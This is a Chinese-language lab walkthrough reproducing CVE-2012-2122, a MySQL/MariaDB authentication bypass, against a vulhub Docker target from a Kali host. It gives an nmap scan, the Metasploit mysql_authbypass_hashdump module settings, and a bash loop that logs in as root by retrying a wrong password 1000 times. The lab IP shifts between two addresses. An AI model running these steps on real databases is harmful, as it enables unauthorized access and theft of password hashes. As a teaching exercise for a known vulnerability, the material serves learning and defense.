漏洞描述
当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
漏洞危害
漏洞泄露了数据库等关键敏感信息,如果被篡改数据库信息其危害较大
受版本影响
-
MySQL 5.1.x before 5.1.63
-
5.5.x before 5.5.24,
-
5.6.x before 5.6.6,
-
MariaDB 5.1.x before 5.1.62,
-
5.2.x before 5.2.12
-
5.3.x before 5.3.6
-
5.5.x before 5.5.23
主机准备
一台ubuntu(192.168.8.158),一台kail
均处于同一内网环境下。
其中kail作为攻击主机,ubuntu作为受害主机。
环境搭建
-
进入vulhub-master目录环境:
-
执行如下命令:
docker-compose up -d
dokcer ps 查看进程是否启动
访问3306端口查看环境
此时环境搭建成功
nmap -T4 -sV -O -p 3306 192.168.8.158
进行端口扫描发现靶机开启3306端口,并且mysql版本5.5.23
漏洞复现
第一种:
使用Meterpreter
msfconsole
search CVE-2012-2122
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
show options
set RHOSTS 192.168.8.158
set THREADS 20
run
这里可能是msf有些许问题导致没有爆出root密码
如果有同学和我有相似问题可以参考以下方法
第二种:
使用shell脚本
先使用正确的密码登录看看是否成功启动环境
在kail主机的命令行输入命令
mysql -h 192.168.8.208 -u root -p123456 -P3306(如果提示连接次数过多请重启环境)
编写如下shell脚本,并执行
payload.sh
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.8.208 -P3306 ; done
注:将ip改为自己的
命令行执行
切换到脚本存放路径
bash payload.sh
此时复现成功